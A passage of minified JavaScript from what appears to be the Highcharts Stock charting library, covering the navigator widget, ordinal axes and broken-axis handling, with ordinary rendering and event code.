c=a&&(i-e)/a;return s(o)||(e=t.correctFloat(e+r)),s(n)||(i=t.correctFloat(i-r)),.7<c&&1.3>c&&(n?e=i-a:i=e+a),l(e)&&l(i)||(e=i=void 0),{min:e,max:i}},i.prototype={drawHandle:function(t,e,i,s){var o=this.navigatorOptions.handles.height;this.handles[e][s](i?{translateX:Math.round(this.left+this.height/2),translateY:Math.round(this.top+parseInt(t,10)+.5-o)}:{translateX:Math.round(this.left+parseInt(t,10)),translateY:Math.round(this.top+this.height/2-o/2-1)})},drawOutline:function(t,e,i,s){var o=this.navigatorOptions.maskInside,n=this.outline.strokeWidth(),a=n/2;n=n%2/2;var r=this.outlineHeight,l=this.scrollbarHeight,h=this.size,c=this.left-l,d=this.top;t=i?["M",(c-=a)+r,d-l-n,"L",c+r,i=d+e+n,"L",c,i,"L",c,e=d+t+n,"L",c+r,e,"L",c+r,d+h+l].concat(o?["M",c+r,i-a,"L",c+r,e+a]:[]):["M",c,d+=a,"L",t+=c+l-n,d,"L",t,d+r,"L",e+=c+l-n,d+r,"L",e,d,"L",c+h+2*l,d].concat(o?["M",t-a,d,"L",e+a,d]:[]),this.outline[s]({d:t})},drawMasks:function(t,e,i,s){var o=this.left,n=this.top,a=this.height;if(i)var r=[o,o,o],l=[n,n+t,n+e],h=[a,a,a],c=[t,e-t,this.size-e];else r=[o,o+t,o+e],l=[n,n,n],h=[t,e-t,this.size-e],c=[a,a,a];this.shades.forEach((function(t,e){t[s]({x:r[e],y:l[e],width:h[e],height:c[e]})}))},renderElements:function(){var t,e=this,i=e.navigatorOptions,s=i.maskInside,o=e.chart,n=o.renderer,a={cursor:o.inverted?"ns-resize":"ew-resize"};e.navigatorGroup=t=n.g("navigator").attr({zIndex:8,visibility:"hidden"}).add(),[!s,s,!s].forEach((function(s,r){e.shades[r]=n.rect().addClass("highcharts-navigator-mask"+(1===r?"-inside":"-outside")).add(t),o.styledMode||e.shades[r].attr({fill:s?i.maskFill:"rgba(0,0,0,0)"}).css(1===r&&a)})),e.outline=n.path().addClass("highcharts-navigator-outline").add(t),o.styledMode||e.outline.attr({"stroke-width":i.outlineWidth,stroke:i.outlineColor}),i.handles.enabled&&[0,1].forEach((function(s){if(i.handles.inverted=o.inverted,e.handles[s]=n.symbol(i.handles.symbols[s],-i.handles.width/2-1,0,i.handles.width,i.handles.height,i.handles),e.handles[s].attr({zIndex:7-s}).addClass("highcharts-navigator-handle highcharts-navigator-handle-"+["left","right"][s]).add(t),!o.styledMode){var r=i.handles;e.handles[s].attr({fill:r.backgroundColor,stroke:r.borderColor,"stroke-width":r.lineWidth}).css(a)}}))},update:function(t){(this.series||[]).forEach((function(t){t.baseSeries&&delete t.baseSeries.navigatorSeries})),this.destroy(),v(!0,this.chart.options.navigator,this.options,t),this.init(this.chart)},render:function(e,i,o,n){var a,r,c=this.chart,d=this.scrollbarHeight,p=this.xAxis,u=p.pointRange||0,f=p.fake?c.xAxis[0]:p,g=this.navigatorEnabled,m=this.rendered,v=c.inverted,x=c.xAxis[0].minRange,y=c.xAxis[0].options.maxRange;if(!this.hasDragged||s(o)){if(e=t.correctFloat(e-u/2),i=t.correctFloat(i+u/2),!l(e)||!l(i)){if(!m)return;o=0,n=h(p.width,f.width)}this.left=h(p.left,c.plotLeft+d+(v?c.plotWidth:0)),this.size=r=a=h(p.len,(v?c.plotHeight:c.plotWidth)-2*d),c=v?d:a+2*d,o=h(o,p.toPixels(e,!0)),n=h(n,p.toPixels(i,!0)),l(o)&&1/0!==Math.abs(o)||(o=0,n=c),e=p.toValue(o,!0),i=p.toValue(n,!0);var b=Math.abs(t.correctFloat(i-e));t.correctFloat(b-u)<x?this.grabbedLeft?o=p.toPixels(i-x-u,!0):this.grabbedRight&&(n=p.toPixels(e+x+u,!0)):s(y)&&t.correctFloat(b-u)>y&&(this.grabbedLeft?o=p.toPixels(i-y-u,!0):this.grabbedRight&&(n=p.toPixels(e+y+u,!0))),this.zoomedMax=Math.min(Math.max(o,n,0),r),this.zoomedMin=Math.min(Math.max(this.fixedWidth?this.zoomedMax-this.fixedWidth:Math.min(o,n),0),r),this.range=this.zoomedMax-this.zoomedMin,r=Math.round(this.zoomedMax),o=Math.round(this.zoomedMin),g&&(this.navigatorGroup.attr({visibility:"visible"}),m=m&&!this.hasDragged?"animate":"attr",this.drawMasks(o,r,v,m),this.drawOutline(o,r,v,m),this.navigatorOptions.handles.enabled&&(this.drawHandle(o,0,v,m),this.drawHandle(r,1,v,m))),this.scrollbar&&(v?(v=this.top-d,f=this.left-d+(g||!f.opposite?0:(f.titleOffset||0)+f.axisTitleMargin),d=a+2*d):(v=this.top+(g?this.height:-d),f=this.left-d),this.scrollbar.position(f,v,c,d),this.scrollbar.setRange(this.zoomedMin/(a||1),this.zoomedMax/(a||1))),this.rendered=!0}},addMouseEvents:function(){var t,e,i=this,s=i.chart,o=s.container,n=[];i.mouseMoveHandler=t=function(t){i.onMouseMove(t)},i.mouseUpHandler=e=function(t){i.onMouseUp(t)},(n=i.getPartsEvents("mousedown")).push(d(s.renderTo,"mousemove",t),d(o.ownerDocument,"mouseup",e)),g&&(n.push(d(s.renderTo,"touchmove",t),d(o.ownerDocument,"touchend",e)),n.concat(i.getPartsEvents("touchstart"))),i.eventsToUnbind=n,i.series&&i.series[0]&&n.push(d(i.series[0].xAxis,"foundExtremes",(function(){s.navigator.modifyNavigatorAxisExtremes()})))},getPartsEvents:function(t){var e=this,i=[];return["shades","handles"].forEach((function(s){e[s].forEach((function(o,n){i.push(d(o.element,t,(function(t){e[s+"Mousedown"](t,n)})))}))})),i},shadesMousedown:function(t,e){t=this.chart.pointer.normalize(t);var i=this.chart,o=this.xAxis,n=this.zoomedMin,a=this.left,r=this.size,l=this.range,h=t.chartX;if(i.inverted&&(h=t.chartY,a=this.top),1===e)this.grabbedCenter=h,this.fixedWidth=l,this.dragOffset=h-n;else{if(t=h-a-l/2,0===e)t=Math.max(0,t);else if(2===e&&t+l>=r)if(t=r-l,this.reversedExtremes){t-=l;var c=this.getUnionExtremes().dataMin}else var d=this.getUnionExtremes().dataMax;t!==n&&(this.fixedWidth=l,e=o.toFixedRange(t,t+l,c,d),s(e.min)&&i.xAxis[0].setExtremes(Math.min(e.min,e.max),Math.max(e.min,e.max),!0,null,{trigger:"navigator"}))}},handlesMousedown:function(t,e){this.chart.pointer.normalize(t);var i=(t=this.chart).xAxis[0],s=this.reversedExtremes;0===e?(this.grabbedLeft=!0,this.otherHandlePos=this.zoomedMax,this.fixedExtreme=s?i.min:i.max):(this.grabbedRight=!0,this.otherHandlePos=this.zoomedMin,this.fixedExtreme=s?i.max:i.min),t.fixedRange=null},onMouseMove:function(e){var i=this,s=i.chart,o=i.left,n=i.navigatorSize,a=i.range,r=i.dragOffset,l=s.inverted;e.touches&&0===e.touches[0].pageX||(e=s.pointer.normalize(e),s=e.chartX,l&&(o=i.top,s=e.chartY),i.grabbedLeft?(i.hasDragged=!0,i.render(0,0,s-o,i.otherHandlePos)):i.grabbedRight?(i.hasDragged=!0,i.render(0,0,i.otherHandlePos,s-o)):i.grabbedCenter&&(i.hasDragged=!0,s<r?s=r:s>n+r-a&&(s=n+r-a),i.render(0,0,s-r,s-r+a)),i.hasDragged&&i.scrollbar&&h(i.scrollbar.options.liveRedraw,t.svg&&!m&&!this.chart.isBoosting)&&(e.DOMType=e.type,setTimeout((function(){i.onMouseUp(e)}),0)))},onMouseUp:function(t){var e=this.chart,i=this.xAxis,o=this.scrollbar,n=t.DOMEvent||t;if(this.hasDragged&&(!o||!o.hasDragged)||"scrollbar"===t.trigger){if(o=this.getUnionExtremes(),this.zoomedMin===this.otherHandlePos)var a=this.fixedExtreme;else if(this.zoomedMax===this.otherHandlePos)var r=this.fixedExtreme;this.zoomedMax===this.size&&(r=this.reversedExtremes?o.dataMin:o.dataMax),0===this.zoomedMin&&(a=this.reversedExtremes?o.dataMax:o.dataMin),i=i.toFixedRange(this.zoomedMin,this.zoomedMax,a,r),s(i.min)&&e.xAxis[0].setExtremes(Math.min(i.min,i.max),Math.max(i.min,i.max),!0,!this.hasDragged&&null,{trigger:"navigator",triggerOp:"navigator-drag",DOMEvent:n})}"mousemove"!==t.DOMType&&"touchmove"!==t.DOMType&&(this.grabbedLeft=this.grabbedRight=this.grabbedCenter=this.fixedWidth=this.fixedExtreme=this.otherHandlePos=this.hasDragged=this.dragOffset=null)},removeEvents:function(){this.eventsToUnbind&&(this.eventsToUnbind.forEach((function(t){t()})),this.eventsToUnbind=void 0),this.removeBaseSeriesEvents()},removeBaseSeriesEvents:function(){var t=this.baseSeries||[];this.navigatorEnabled&&t[0]&&(!1!==this.navigatorOptions.adaptToUpdatedData&&t.forEach((function(t){x(t,"updatedData",this.updatedDataHandler)}),this),t[0].xAxis&&x(t[0].xAxis,"foundExtremes",this.modifyBaseAxisExtremes))},init:function(t){var e=t.options,i=e.navigator,s=i.enabled,o=e.scrollbar,n=o.enabled;e=s?i.height:0;var a=n?o.height:0;this.handles=[],this.shades=[],this.chart=t,this.setBaseSeries(),this.height=e,this.scrollbarHeight=a,this.scrollbarEnabled=n,this.navigatorEnabled=s,this.navigatorOptions=i,this.scrollbarOptions=o,this.outlineHeight=e+a,this.opposite=h(i.opposite,!(s||!t.inverted));var r=this;s=r.baseSeries,o=t.xAxis.length,n=t.yAxis.length;var l=s&&s[0]&&s[0].xAxis||t.xAxis[0]||{options:{}};t.isDirtyBox=!0,r.navigatorEnabled?(r.xAxis=new p(t,v({breaks:l.options.breaks,ordinal:l.options.ordinal},i.xAxis,{id:"navigator-x-axis",yAxis:"navigator-y-axis",isX:!0,type:"datetime",index:o,isInternal:!0,offset:0,keepOrdinalPadding:!0,startOnTick:!1,endOnTick:!1,minPadding:0,maxPadding:0,zoomEnabled:!1},t.inverted?{offsets:[a,0,-a,0],width:e}:{offsets:[0,-a,0,a],height:e})),r.yAxis=new p(t,v(i.yAxis,{id:"navigator-y-axis",alignTicks:!1,offset:0,index:n,isInternal:!0,zoomEnabled:!1},t.inverted?{width:e}:{height:e})),s||i.series.data?r.updateNavigatorSeries(!1):0===t.series.length&&(r.unbindRedraw=d(t,"beforeRedraw",(function(){0<t.series.length&&!r.series&&(r.setBaseSeries(),r.unbindRedraw())}))),r.reversedExtremes=t.inverted&&!r.xAxis.reversed||!t.inverted&&r.xAxis.reversed,r.renderElements(),r.addMouseEvents()):r.xAxis={translate:function(e,i){var s=t.xAxis[0],o=s.getExtremes(),n=s.len-2*a,r=w("min",s.options.min,o.dataMin);return s=w("max",s.options.max,o.dataMax)-r,i?e*s/n+r:n*(e-r)/s},toPixels:function(t){return this.translate(t)},toValue:function(t){return this.translate(t,!0)},toFixedRange:p.prototype.toFixedRange,fake:!0},t.options.scrollbar.enabled&&(t.scrollbar=r.scrollbar=new y(t.renderer,v(t.options.scrollbar,{margin:r.navigatorEnabled?0:10,vertical:t.inverted}),t),d(r.scrollbar,"changed",(function(e){var i=r.size,s=i*this.to;i*=this.from,r.hasDragged=r.scrollbar.hasDragged,r.render(0,0,i,s),(t.options.scrollbar.liveRedraw||"mousemove"!==e.DOMType&&"touchmove"!==e.DOMType)&&setTimeout((function(){r.onMouseUp(e)}))}))),r.addBaseSeriesEvents(),r.addChartEvents()},getUnionExtremes:function(t){var e,i=this.chart.xAxis[0],s=this.xAxis,o=s.options,n=i.options;return t&&null===i.dataMin||(e={dataMin:h(o&&o.min,w("min",n.min,i.dataMin,s.dataMin,s.min)),dataMax:h(o&&o.max,w("max",n.max,i.dataMax,s.dataMax,s.max))}),e},setBaseSeries:function(e,i){var s=this.chart,o=this.baseSeries=[];e=e||s.options&&s.options.navigator.baseSeries||(s.series.length?t.find(s.series,(function(t){return!t.options.isInternal})).index:0),(s.series||[]).forEach((function(t,i){t.options.isInternal||!t.options.showInNavigator&&(i!==e&&t.options.id!==e||!1===t.options.showInNavigator)||o.push(t)})),this.xAxis&&!this.xAxis.fake&&this.updateNavigatorSeries(!0,i)},updateNavigatorSeries:function(t,e){var i,s,o,n=this,l=n.chart,d=n.baseSeries,p=n.navigatorOptions.series,u={enableMouseTracking:!1,index:null,linkedTo:null,group:"nav",padXAxis:!1,xAxis:"navigator-x-axis",yAxis:"navigator-y-axis",showInLegend:!1,stacking:!1,isInternal:!0,states:{inactive:{opacity:1}}},g=n.series=(n.series||[]).filter((function(t){var e=t.baseSeries;return!(0>d.indexOf(e)&&(e&&(x(e,"updatedData",n.updatedDataHandler),delete e.navigatorSeries),t.chart&&t.destroy(),1))}));d&&d.length&&d.forEach((function(t){var c=t.navigatorSeries,m=a({color:t.color,visible:t.visible},r(p)?f.navigator.series:p);c&&!1===n.navigatorOptions.adaptToUpdatedData||(u.name="Navigator "+d.length,i=t.options||{},o=i.navigatorOptions||{},(s=v(i,u,m,o)).pointRange=h(m.pointRange,o.pointRange,f.plotOptions[s.type||"line"].pointRange),m=o.data||m.data,n.hasNavigatorData=n.hasNavigatorData||!!m,s.data=m||i.data&&i.data.slice(0),c&&c.options?c.update(s,e):(t.navigatorSeries=l.initSeries(s),t.navigatorSeries.baseSeries=t,g.push(t.navigatorSeries)))})),(!p.data||d&&d.length)&&!r(p)||(n.hasNavigatorData=!1,(p=c(p)).forEach((function(t,e){u.name="Navigator "+(g.length+1),(s=v(f.navigator.series,{color:l.series[e]&&!l.series[e].options.isInternal&&l.series[e].color||l.options.colors[e]||l.options.colors[0]},u,t)).data=t.data,s.data&&(n.hasNavigatorData=!0,g.push(l.initSeries(s)))}))),t&&this.addBaseSeriesEvents()},addBaseSeriesEvents:function(){var t=this,e=t.baseSeries||[];e[0]&&e[0].xAxis&&d(e[0].xAxis,"foundExtremes",this.modifyBaseAxisExtremes),e.forEach((function(e){d(e,"show",(function(){this.navigatorSeries&&this.navigatorSeries.setVisible(!0,!1)})),d(e,"hide",(function(){this.navigatorSeries&&this.navigatorSeries.setVisible(!1,!1)})),!1!==this.navigatorOptions.adaptToUpdatedData&&e.xAxis&&d(e,"updatedData",this.updatedDataHandler),d(e,"remove",(function(){this.navigatorSeries&&(n(t.series,this.navigatorSeries),s(this.navigatorSeries.options)&&this.navigatorSeries.remove(!1),delete this.navigatorSeries)}))}),this)},getBaseSeriesMin:function(t){return this.baseSeries.reduce((function(t,e){return Math.min(t,e.xData?e.xData[0]:t)}),t)},modifyNavigatorAxisExtremes:function(){var t,e=this.xAxis;void 0!==e.getExtremes&&(!(t=this.getUnionExtremes(!0))||t.dataMin===e.min&&t.dataMax===e.max||(e.min=t.dataMin,e.max=t.dataMax))},modifyBaseAxisExtremes:function(){var t=this.chart.navigator,e=this.getExtremes(),i=e.dataMin,s=e.dataMax;e=e.max-e.min;var o=t.stickToMin,n=t.stickToMax,a=h(this.options.overscroll,0),r=t.series&&t.series[0],c=!!this.setExtremes;if(!this.eventArgs||"rangeSelectorButton"!==this.eventArgs.trigger){if(o)var d=i,p=i+e;n&&(p=s+a,o||(d=Math.max(p-e,t.getBaseSeriesMin(r&&r.xData?r.xData[0]:-Number.MAX_VALUE)))),c&&(o||n)&&l(d)&&(this.min=this.userMin=d,this.max=this.userMax=p)}t.stickToMin=t.stickToMax=null},updatedDataHandler:function(){var t=this.chart.navigator,e=this.navigatorSeries,i=t.getBaseSeriesMin(this.xData[0]);t.stickToMax=t.reversedExtremes?0===Math.round(t.zoomedMin):Math.round(t.zoomedMax)>=Math.round(t.size),t.stickToMin=l(this.xAxis.min)&&this.xAxis.min<=i&&(!this.chart.fixedRange||!t.stickToMax),e&&!t.hasNavigatorData&&(e.options.pointStart=this.xData[0],e.setData(this.options.data,!1,null,!1))},addChartEvents:function(){this.eventsToUnbind||(this.eventsToUnbind=[]),this.eventsToUnbind.push(d(this.chart,"redraw",(function(){var t=this.navigator,e=t&&(t.baseSeries&&t.baseSeries[0]&&t.baseSeries[0].xAxis||t.scrollbar&&this.xAxis[0]);e&&t.render(e.min,e.max)})),d(this.chart,"getMargins",(function(){var t=this.navigator,e=t.opposite?"plotTop":"marginBottom";this.inverted&&(e=t.opposite?"marginRight":"plotLeft"),this[e]=(this[e]||0)+(t.navigatorEnabled||!this.inverted?t.outlineHeight:0)+t.navigatorOptions.margin})))},destroy:function(){this.removeEvents(),this.xAxis&&(n(this.chart.xAxis,this.xAxis),n(this.chart.axes,this.xAxis)),this.yAxis&&(n(this.chart.yAxis,this.yAxis),n(this.chart.axes,this.yAxis)),(this.series||[]).forEach((function(t){t.destroy&&t.destroy()})),"series xAxis yAxis shades outline scrollbarTrack scrollbarRifles scrollbarGroup scrollbar navigatorGroup rendered".split(" ").forEach((function(t){this[t]&&this[t].destroy&&this[t].destroy(),this[t]=null}),this),[this.handles].forEach((function(t){o(t)}),this)}},t.Navigator||(t.Navigator=i,d(p,"zoom",(function(t){var e=this.chart.options,i=e.chart.zoomType,o=e.chart.pinchType,n=e.navigator;e=e.rangeSelector,this.isXAxis&&(n&&n.enabled||e&&e.enabled)&&("y"===i?t.zoomed=!1:(!m&&"xy"===i||m&&"xy"===o)&&this.options.range&&(i=this.previousZoom,s(t.newMin)?this.previousZoom=[this.min,this.max]:i&&(t.newMin=i[0],t.newMax=i[1],delete this.previousZoom))),void 0!==t.zoomed&&t.preventDefault()})),d(e,"beforeShowResetZoom",(function(){var t=this.options,e=t.navigator,i=t.rangeSelector;if((e&&e.enabled||i&&i.enabled)&&(!m&&"x"===t.chart.zoomType||m&&"x"===t.chart.pinchType))return!1})),d(e,"beforeRender",(function(){var t=this.options;(t.navigator.enabled||t.scrollbar.enabled)&&(this.scroller=this.navigator=new i(this))})),d(e,"afterSetChartSize",(function(){var t=this.legend,e=this.navigator;if(e){var i=t&&t.options,s=e.xAxis,o=e.yAxis,n=e.scrollbarHeight;this.inverted?(e.left=e.opposite?this.chartWidth-n-e.height:this.spacing[3]+n,e.top=this.plotTop+n):(e.left=this.plotLeft+n,e.top=e.navigatorOptions.top||this.chartHeight-e.height-n-this.spacing[2]-(this.rangeSelector&&this.extraBottomMargin?this.rangeSelector.getHeight():0)-(i&&"bottom"===i.verticalAlign&&i.enabled&&!i.floating?t.legendHeight+h(i.margin,10):0)-(this.titleOffset?this.titleOffset[2]:0)),s&&o&&(this.inverted?s.options.left=o.options.left=e.left:s.options.top=o.options.top=e.top,s.setAxisSize(),o.setAxisSize())}})),d(e,"update",(function(t){var e=t.options.navigator||{},i=t.options.scrollbar||{};this.navigator||this.scroller||!e.enabled&&!i.enabled||(v(!0,this.options.navigator,e),v(!0,this.options.scrollbar,i),delete t.options.navigator,delete t.options.scrollbar)})),d(e,"afterUpdate",(function(t){this.navigator||this.scroller||!this.options.navigator.enabled&&!this.options.scrollbar.enabled||(this.scroller=this.navigator=new i(this),h(t.redraw,!0)&&this.redraw(t.animation))})),d(e,"afterAddSeries",(function(){this.navigator&&this.navigator.setBaseSeries(null,!1)})),d(b,"afterUpdate",(function(){this.chart.navigator&&!this.options.isInternal&&this.chart.navigator.setBaseSeries(null,!1)})),e.prototype.callbacks.push((function(t){var e=t.navigator;e&&t.xAxis[0]&&(t=t.xAxis[0].getExtremes(),e.render(t.min,t.max))})))})),e(i,"parts/OrdinalAxis.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.defined,s=e.extend,o=e.pick;e=t.addEvent;var n=t.Axis,a=t.Chart,r=t.css,l=t.noop,h=t.timeUnits;e(t.Series,"updatedData",(function(){var t=this.xAxis;t&&t.options.ordinal&&delete t.ordinalIndex})),n.prototype.getTimeTicks=function(t,e,s,o,n,a,r){var l,c,d=0,p={},u=[],f=-Number.MAX_VALUE,g=this.options.tickPixelInterval,m=this.chart.time,v=[];if(!this.options.ordinal&&!this.options.breaks||!n||3>n.length||void 0===e)return m.getTimeTicks.apply(m,arguments);var x=n.length;for(l=0;l<x;l++){var y=l&&n[l-1]>s;if(n[l]<e&&(d=l),l===x-1||n[l+1]-n[l]>5*a||y){if(n[l]>f){for(c=m.getTimeTicks(t,n[d],n[l],o);c.length&&c[0]<=f;)c.shift();c.length&&(f=c[c.length-1]),v.push(u.length),u=u.concat(c)}d=l+1}if(y)break}if(c=c.info,r&&c.unitRange<=h.hour){for(l=u.length-1,d=1;d<l;d++)if(m.dateFormat("%d",u[d])!==m.dateFormat("%d",u[d-1])){p[u[d]]="day";var b=!0}b&&(p[u[0]]="day"),c.higherRanks=p}if(c.segmentStarts=v,u.info=c,r&&i(g)){var w;for(d=v=u.length,b=[],m=[];d--;)l=this.translate(u[d]),w&&(m[d]=w-l),b[d]=w=l;for(m.sort(),(m=m[Math.floor(m.length/2)])<.6*g&&(m=null),d=u[v-1]>s?v-1:v,w=void 0;d--;)l=b[d],v=Math.abs(w-l),w&&v<.8*g&&(null===m||v<.8*m)?(p[u[d]]&&!p[u[d+1]]?(v=d+1,w=l):v=d,u.splice(v,1)):w=l}return u},s(n.prototype,{beforeSetTickPositions:function(){var t,e,i=[],s=!1,n=this.getExtremes(),a=n.min,r=n.max,l=this.isXAxis&&!!this.options.breaks;n=this.options.ordinal;var h,c=Number.MAX_VALUE,d=this.chart.options.chart.ignoreHiddenSeries;if(n||l){this.series.forEach((function(e,s){if(t=[],!(d&&!1===e.visible||!1===e.takeOrdinalPosition&&!l)&&(i=i.concat(e.processedXData),p=i.length,i.sort((function(t,e){return t-e})),c=Math.min(c,o(e.closestPointRange,c)),p)){for(s=0;s<p-1;)i[s]!==i[s+1]&&t.push(i[s+1]),s++;t[0]!==i[0]&&t.unshift(i[0]),i=t}e.isSeriesBoosting&&(h=!0)})),h&&(i.length=0);var p=i.length;if(2<p){var u=i[1]-i[0];for(e=p-1;e--&&!s;)i[e+1]-i[e]!==u&&(s=!0);!this.options.keepOrdinalPadding&&(i[0]-a>u||r-i[i.length-1]>u)&&(s=!0)}else this.options.overscroll&&(2===p?c=i[1]-i[0]:1===p?(c=this.options.overscroll,i=[i[0],i[0]+c]):c=this.overscrollPointsRange);s?(this.options.overscroll&&(this.overscrollPointsRange=c,i=i.concat(this.getOverscrollPositions())),this.ordinalPositions=i,u=this.ordinal2lin(Math.max(a,i[0]),!0),e=Math.max(this.ordinal2lin(Math.min(r,i[i.length-1]),!0),1),this.ordinalSlope=r=(r-a)/(e-u),this.ordinalOffset=a-u*r):(this.overscrollPointsRange=o(this.closestPointRange,this.overscrollPointsRange),this.ordinalPositions=this.ordinalSlope=this.ordinalOffset=void 0)}this.isOrdinal=n&&s,this.groupIntervalFactor=null},val2lin:function(t,e){var i=this.ordinalPositions;if(i){var s,o=i.length;for(s=o;s--;)if(i[s]===t){var n=s;break}for(s=o-1;s--;)if(t>i[s]||0===s){n=s+(t=(t-i[s])/(i[s+1]-i[s]));break}e=e?n:this.ordinalSlope*(n||0)+this.ordinalOffset}else e=t;return e},lin2val:function(t,e){var i=this.ordinalPositions;if(i){var s=this.ordinalSlope,o=this.ordinalOffset,n=i.length-1;if(e)if(0>t)t=i[0];else if(t>n)t=i[n];else var a=t-(n=Math.floor(t));else for(;n--;)if(t>=(e=s*n+o)){a=(t-e)/((s=s*(n+1)+o)-e);break}return void 0!==a&&void 0!==i[n]?i[n]+(a?a*(i[n+1]-i[n]):0):t}return t},getExtendedPositions:function(){var t,e=this,i=e.chart,s=e.series[0].currentDataGrouping,o=e.ordinalIndex,a=s?s.count+s.unitName:"raw",r=e.options.overscroll,h=e.getExtremes();if(o||(o=e.ordinalIndex={}),!o[a]){var c={series:[],chart:i,getExtremes:function(){return{min:h.dataMin,max:h.dataMax+r}},options:{ordinal:!0},val2lin:n.prototype.val2lin,ordinal2lin:n.prototype.ordinal2lin};e.series.forEach((function(o){(t={xAxis:c,xData:o.xData.slice(),chart:i,destroyGroupedData:l}).xData=t.xData.concat(e.getOverscrollPositions()),t.options={dataGrouping:s?{enabled:!0,forced:!0,approximation:"open",units:[[s.unitName,[s.count]]]}:{enabled:!1}},o.processData.apply(t),c.series.push(t)})),e.beforeSetTickPositions.apply(c),o[a]=c.ordinalPositions}return o[a]},getOverscrollPositions:function(){var t=this.options.overscroll,e=this.overscrollPointsRange,s=[],o=this.dataMax;if(i(e))for(s.push(o);o<=this.dataMax+t;)o+=e,s.push(o);return s},getGroupIntervalFactor:function(t,e,i){var s=(i=i.processedXData).length,o=[],n=this.groupIntervalFactor;if(!n){for(n=0;n<s-1;n++)o[n]=i[n+1]-i[n];o.sort((function(t,e){return t-e})),o=o[Math.floor(s/2)],t=Math.max(t,i[0]),e=Math.min(e,i[s-1]),this.groupIntervalFactor=n=s*o/(e-t)}return n},postProcessTickInterval:function(t){var e=this.ordinalSlope;return e?this.options.breaks?this.closestPointRange||t:t/(e/this.closestPointRange):t}}),n.prototype.ordinal2lin=n.prototype.val2lin,e(a,"pan",(function(t){var e=this.xAxis[0],i=e.options.overscroll,s=t.originalEvent.chartX,o=!1;if(e.options.ordinal&&e.series.length){var n=this.mouseDownX,a=e.getExtremes(),l=a.dataMax,h=a.min,c=a.max,d=this.hoverPoints,p=e.closestPointRange||e.overscrollPointsRange;n=(n-s)/(e.translationSlope*(e.ordinalSlope||p));var u={ordinalPositions:e.getExtendedPositions()};p=e.lin2val;var f=e.val2lin;if(u.ordinalPositions){if(1<Math.abs(n)){if(d&&d.forEach((function(t){t.setState()})),0>n){d=u;var g=e.ordinalPositions?e:u}else d=e.ordinalPositions?e:u,g=u;l>(u=g.ordinalPositions)[u.length-1]&&u.push(l),this.fixedRange=c-h,(n=e.toFixedRange(null,null,p.apply(d,[f.apply(d,[h,!0])+n,!0]),p.apply(g,[f.apply(g,[c,!0])+n,!0]))).min>=Math.min(a.dataMin,h)&&n.max<=Math.max(l,c)+i&&e.setExtremes(n.min,n.max,!0,!1,{trigger:"pan"}),this.mouseDownX=s,r(this.container,{cursor:"move"})}}else o=!0}else o=!0;o?i&&(e.max=e.dataMax+i):t.preventDefault()})),e(n,"foundExtremes",(function(){this.isXAxis&&i(this.options.overscroll)&&this.max===this.dataMax&&(!this.chart.mouseIsDown||this.isInternal)&&(!this.eventArgs||this.eventArgs&&"navigator"!==this.eventArgs.trigger)&&(this.max+=this.options.overscroll,!this.isInternal&&i(this.userMin)&&(this.min+=this.options.overscroll))})),e(n,"afterSetScale",(function(){this.horiz&&!this.isDirty&&(this.isDirty=this.isOrdinal&&this.chart.navigator&&!this.chart.navigator.adaptToUpdatedData)}))})),e(i,"modules/broken-axis.src.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.extend,s=e.isArray,o=e.pick;e=t.addEvent;var n=t.find,a=t.fireEvent,r=t.Axis,l=t.Series,h=function(t,e){return n(e,(function(e){return e.from<t&&t<e.to}))};i(r.prototype,{isInBreak:function(t,e){var i=t.repeat||1/0,s=t.from,o=t.to-t.from;return e=e>=s?(e-s)%i:i-(s-e)%i,t.inclusive?e<=o:e<o&&0!==e},isInAnyBreak:function(t,e){var i,s=this.options.breaks,n=s&&s.length;if(n){for(;n--;)if(this.isInBreak(s[n],t)){var a=!0;i||(i=o(s[n].showPoints,!this.isXAxis))}var r=a&&e?a&&!i:a}return r}}),e(r,"afterInit",(function(){"function"==typeof this.setBreaks&&this.setBreaks(this.options.breaks,!1)})),e(r,"afterSetTickPositions",(function(){if(this.isBroken){var t,e=this.tickPositions,i=this.tickPositions.info,s=[];for(t=0;t<e.length;t++)this.isInAnyBreak(e[t])||s.push(e[t]);this.tickPositions=s,this.tickPositions.info=i}})),e(r,"afterSetOptions",(function(){this.isBroken&&(this.options.ordinal=!1)})),r.prototype.setBreaks=function(t,e){function i(t){var e,i=t;for(e=0;e<n.breakArray.length;e++){var s=n.breakArray[e];if(s.to<=t)i-=s.len;else{if(s.from>=t)break;if(n.isInBreak(s,t)){i-=t-s.from;break}}}return i}var n=this,l=s(t)&&!!t.length;n.isDirty=n.isBroken!==l,n.isBroken=l,n.options.breaks=n.userOptions.breaks=t,n.forceRedraw=!0,l||n.val2lin!==i||(delete n.val2lin,delete n.lin2val),l&&(n.userOptions.ordinal=!1,n.val2lin=i,n.lin2val=function(t){var e;for(e=0;e<n.breakArray.length;e++){var i=n.breakArray[e];if(i.from>=t)break;(i.to<t||n.isInBreak(i,t))&&(t+=i.len)}return t},n.setExtremes=function(t,e,i,s,o){if(this.isBroken){for(var n,a=this.options.breaks;n=h(t,a);)t=n.to;for(;n=h(e,a);)e=n.from;e<t&&(e=t)}r.prototype.setExtremes.call(this,t,e,i,s,o)},n.setAxisTranslation=function(t){if(r.prototype.setAxisTranslation.call(this,t),this.unitLength=null,this.isBroken){t=n.options.breaks;var e,i,s=[],l=[],h=0,c=n.userMin||n.min,d=n.userMax||n.max,p=o(n.pointRangePadding,0);t.forEach((function(t){e=t.repeat||1/0,n.isInBreak(t,c)&&(c+=t.to%e-c%e),n.isInBreak(t,d)&&(d-=d%e-t.from%e)})),t.forEach((function(t){for(f=t.from,e=t.repeat||1/0;f-e>c;)f-=e;for(;f<c;)f+=e;for(i=f;i<d;i+=e)s.push({value:i,move:"in"}),s.push({value:i+(t.to-t.from),move:"out",size:t.breakSize})})),s.sort((function(t,e){return t.value===e.value?("in"===t.move?0:1)-("in"===e.move?0:1):t.value-e.value}));var u=0,f=c;s.forEach((function(t){1===(u+="in"===t.move?1:-1)&&"in"===t.move&&(f=t.value),0===u&&(l.push({from:f,to:t.value,len:t.value-f-(t.size||0)}),h+=t.value-f-(t.size||0))})),n.breakArray=l,n.unitLength=d-c-h+p,a(n,"afterBreaks"),n.staticScale?n.transA=n.staticScale:n.unitLength&&(n.transA*=(d-n.min+p)/n.unitLength),p&&(n.minPixelPadding=n.transA*n.minPointOffset),n.min=c,n.max=d}}),o(e,!0)&&this.chart.redraw()},e(l,"afterGeneratePoints",(function(){var 